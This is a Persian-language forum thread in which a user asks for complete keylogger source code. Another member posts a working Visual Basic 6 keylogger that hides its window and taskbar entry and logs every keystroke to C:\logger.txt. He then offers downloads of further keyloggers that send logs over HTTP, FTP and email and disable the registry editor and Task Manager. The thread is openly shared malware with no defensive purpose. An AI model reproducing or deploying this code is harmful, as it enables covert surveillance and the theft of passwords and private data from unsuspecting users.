[newcoder]

سلام

دوستان چنتا سورس کی‌ لاگر می‌خوام، کامل باشه .:heart:

لطفا از این سایت نباشه ممنون ~~>www.opensc.ws
ممنون.

[Amin_Mansouri]

در این تایپک انواع سورس کد های کیلاگر به زبان ویژوال بیسیک 6 ارائه میدهم اواین سورس :

کد:

Vi posto un keylogger fatto da me che memorizza nel file C:\logger.txt tutti i tasti premuti sulla tastiera...
questo è il codice in VB:


Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Open "C:\logger.txt" For Append As 1
If GetAsyncKeyState(vbKeyShift) Then
If GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey1) Then
Print #1, "!"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey2) Then
Print #1, """"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey3) Then
Print #1, "£"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey4) Then
Print #1, "$"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey5) Then
Print #1, "%"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey6) Then
Print #1, "&"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey7) Then
Print #1, "/"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey8) Then
Print #1, "("
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey9) Then
Print #1, ")"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey0) Then
Print #1, "="
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyA) Then
Print #1, "A"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyB) Then
Print #1, "B"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyC) Then
Print #1, "C"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyD) Then
Print #1, "D"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyE) Then
Print #1, "E"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyF) Then
Print #1, "F"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyG) Then
Print #1, "G"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyH) Then
Print #1, "H"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyI) Then
Print #1, "I"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyJ) Then
Print #1, "J"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyK) Then
Print #1, "K"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyL) Then
Print #1, "L"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyM) Then
Print #1, "M"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyN) Then
Print #1, "N"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyO) Then
Print #1, "O"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyP) Then
Print #1, "P"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyQ) Then
Print #1, "Q"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyR) Then
Print #1, "R"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyS) Then
Print #1, "S"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyT) Then
Print #1, "T"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyU) Then
Print #1, "U"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyV) Then
Print #1, "V"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyW) Then
Print #1, "W"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyX) Then
Print #1, "X"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyY) Then
Print #1, "Y"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyZ) Then
Print #1, "Z"
End If
Else
If GetAsyncKeyState(vbKeyA) Then
Print #1, "a"
ElseIf GetAsyncKeyState(vbKeyB) Then
Print #1, "b"
ElseIf GetAsyncKeyState(vbKeyC) Then
Print #1, "c"
ElseIf GetAsyncKeyState(vbKeyD) Then
Print #1, "d"
ElseIf GetAsyncKeyState(vbKeyE) Then
Print #1, "e"
ElseIf GetAsyncKeyState(vbKeyF) Then
Print #1, "f"
ElseIf GetAsyncKeyState(vbKeyG) Then
Print #1, "g"
ElseIf GetAsyncKeyState(vbKeyH) Then
Print #1, "h"
ElseIf GetAsyncKeyState(vbKeyI) Then
Print #1, "i"
ElseIf GetAsyncKeyState(vbKeyJ) Then
Print #1, "j"
ElseIf GetAsyncKeyState(vbKeyK) Then
Print #1, "k"
ElseIf GetAsyncKeyState(vbKeyL) Then
Print #1, "l"
ElseIf GetAsyncKeyState(vbKeyM) Then
Print #1, "m"
ElseIf GetAsyncKeyState(vbKeyN) Then
Print #1, "n"
ElseIf GetAsyncKeyState(vbKeyO) Then
Print #1, "o"
ElseIf GetAsyncKeyState(vbKeyP) Then
Print #1, "p"
ElseIf GetAsyncKeyState(vbKeyQ) Then
Print #1, "q"
ElseIf GetAsyncKeyState(vbKeyR) Then
Print #1, "r"
ElseIf GetAsyncKeyState(vbKeyS) Then
Print #1, "s"
ElseIf GetAsyncKeyState(vbKeyT) Then
Print #1, "t"
ElseIf GetAsyncKeyState(vbKeyU) Then
Print #1, "u"
ElseIf GetAsyncKeyState(vbKeyV) Then
Print #1, "v"
ElseIf GetAsyncKeyState(vbKeyW) Then
Print #1, "w"
ElseIf GetAsyncKeyState(vbKeyX) Then
Print #1, "x"
ElseIf GetAsyncKeyState(vbKeyY) Then
Print #1, "y"
ElseIf GetAsyncKeyState(vbKeyZ) Then
Print #1, "z"
ElseIf GetAsyncKeyState(vbKey0) Then
Print #1, "0"
ElseIf GetAsyncKeyState(vbKey1) Then
Print #1, "1"
ElseIf GetAsyncKeyState(vbKey2) Then
Print #1, "2"
ElseIf GetAsyncKeyState(vbKey3) Then
Print #1, "3"
ElseIf GetAsyncKeyState(vbKey4) Then
Print #1, "4"
ElseIf GetAsyncKeyState(vbKey5) Then
Print #1, "5"
ElseIf GetAsyncKeyState(vbKey6) Then
Print #1, "6"
ElseIf GetAsyncKeyState(vbKey7) Then
Print #1, "7"
ElseIf GetAsyncKeyState(vbKey8) Then
Print #1, "8"
ElseIf GetAsyncKeyState(vbKey9) Then
Print #1, "9"
ElseIf GetAsyncKeyState(vbKeyNumpad0) Then
Print #1, "0"
ElseIf GetAsyncKeyState(vbKeyNumpad1) Then
Print #1, "1"
ElseIf GetAsyncKeyState(vbKeyNumpad2) Then
Print #1, "2"
ElseIf GetAsyncKeyState(vbKeyNumpad3) Then
Print #1, "3"
ElseIf GetAsyncKeyState(vbKeyNumpad4) Then
Print #1, "4"
ElseIf GetAsyncKeyState(vbKeyNumpad5) Then
Print #1, "5"
ElseIf GetAsyncKeyState(vbKeyNumpad6) Then
Print #1, "6"
ElseIf GetAsyncKeyState(vbKeyNumpad7) Then
Print #1, "7"
ElseIf GetAsyncKeyState(vbKeyNumpad8) Then
Print #1, "8"
ElseIf GetAsyncKeyState(vbKeyNumpad9) Then
Print #1, "9"
ElseIf GetAsyncKeyState(vbKeySpace) Then
Print #1, "spazio"
End If
End If
Close 1
End Sub


Questo invece è il codice del modulo:

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Const KEYEVENTF_EXTENDEDKEY = &H1
Const KEYEVENTF_KEYUP = &H2


è necessario un timer nominato: "Timer1" con il campo "intervallo" settato a 100

[Amin_Mansouri]

سورس بعدی یک کیلاگر با وی بی 6 هست این کیلاگر قابلیت فرستادن اطلاعات از طریق http دارد توی سورس کد کیلاگر نگاه کنید متوجه میشید :
دانلود :

  http-keylogger(www.parsicoders.com).rar (اندازه 5.67 KB / تعداد دانلود: 148)

[Amin_Mansouri]

کیلاگر بعدی یکی از کاملترین کیلاگرها هست.
قابلیت ذخیره کلید ها
از کار انداختن reg و Task Manager
این کیلاگر هم ایدیتور داره هم سرور و کامله
از طریف ftp هم میفرسته
ایمیل هم میکنه
و ...

دانلود :
[attachment=84]

[Ghoghnus]

کیلاگر بعدی یکی از کاملترین کیلاگرها هست.
قابلیت ذخیره کلید ها
از کار انداختن reg و Task Manager
این کیلاگر هم ایدیتور داره هم سرور و کامله
از طریف ftp هم میفرسته
ایمیل هم میکنه
و ...

دانلود :

خیلی جالب بود و کامل!فقط اشپزی بلد نبود